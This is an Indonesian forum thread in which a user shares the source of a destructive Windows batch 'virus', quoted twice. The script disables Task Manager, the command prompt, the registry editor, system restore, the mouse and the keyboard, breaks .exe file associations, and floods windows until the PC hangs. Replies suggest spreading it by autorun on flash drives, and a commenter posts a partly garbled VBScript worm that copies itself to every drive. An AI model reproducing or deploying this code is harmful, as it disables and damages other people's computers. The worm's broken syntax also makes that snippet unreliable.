[Tutor] Virus batch

[ubuntux]

(06-12-2012 11:12 PM)lionel Wrote:  
mo nyoba jalanin agak
tambahin autorun biar seru

iya om lionel, ntar ane kembangin lagi virusnya

[oktori yusan [RJ]]

serem

[x-cisadane]

(06-11-2012 07:49 PM)ubuntux Wrote:  maaf nih om kalo ane repost ane cuma mau share aja tentang source code virus bat, mohon kritik dan sarannya om
berikut code virusnya

Code:

@echo off
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 4 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
ASSOC .exe=.hank
rundll32 mouse,disable
rundll32 keyboard,disable

:a
msg |- Your Computer Has Been Infected Virus -|
goto a

:b
start explorer
start cmd
start taskmgr
start regedit
start iexplorer
start iexpress
goto b

Simpan dengan ekstensi .bat. contoh: virus.bat

Akibat:
Pesan "Your Computer Has Been Infected Virus" akan terus muncul (flood sampe PC hang)
Windows explorer, command prompt, task manager, regedit, internet explorer, iexpress, akan terus muncul (flood sampe PC hang)
Disable mouse
Disable keyboard
Disable start menu
Disable registry editor
Hide drive
Disable system restore
Disable folder options
Disable command prompt
Disable task manager
mengganti ekstensi .exe menjadi ekstensi .hank

Coba jalanin sebuah file .exe misal notepad.exe <--- TAPI... di rename jadi notepad.com jalan gak tuh??? Ada yang mau coba??? Di DeepFreeze aja dulu atau nggak di VMWare

[itzmeamar]

(06-12-2012 11:12 PM)lionel Wrote:  
mo nyoba jalanin agak
tambahin autorun biar seru

iya terus di taro di FD buat tugas sekolah

---

(06-11-2012 07:49 PM)ubuntux Wrote:  maaf nih om kalo ane repost ane cuma mau share aja tentang source code virus bat, mohon kritik dan sarannya om
berikut code virusnya

Code:

@echo off
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 4 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
ASSOC .exe=.hank
rundll32 mouse,disable
rundll32 keyboard,disable

:a
msg |- Your Computer Has Been Infected Virus -|
goto a

:b
start explorer
start cmd
start taskmgr
start regedit
start iexplorer
start iexpress
goto b

Simpan dengan ekstensi .bat. contoh: virus.bat

Akibat:
Pesan "Your Computer Has Been Infected Virus" akan terus muncul (flood sampe PC hang)
Windows explorer, command prompt, task manager, regedit, internet explorer, iexpress, akan terus muncul (flood sampe PC hang)
Disable mouse
Disable keyboard
Disable start menu
Disable registry editor
Hide drive
Disable system restore
Disable folder options
Disable command prompt
Disable task manager
mengganti ekstensi .exe menjadi ekstensi .hank

Kalo script ini bener worm gak gan ??

Spoiler for: buka

on error resume text

set

fso=CreateObject (“Scripting.FileSystemObject”)

setworm=fso.OpenTextFile (Wscript.ScriptFullName)

wormku=worm.ReadAll

do

if second (now)=7 then

for r = 65 to 90

drife=chr ® &”:\”

if fso.FileExists (drife & “SCIENCE_GLOBAL.VBS”)=false then

set infect=fso.CreateTextFile (drive & “SCIENCE_GLOBAL.VBS”)

infect.write wormku

infect.close

else

end if

next

end if

loop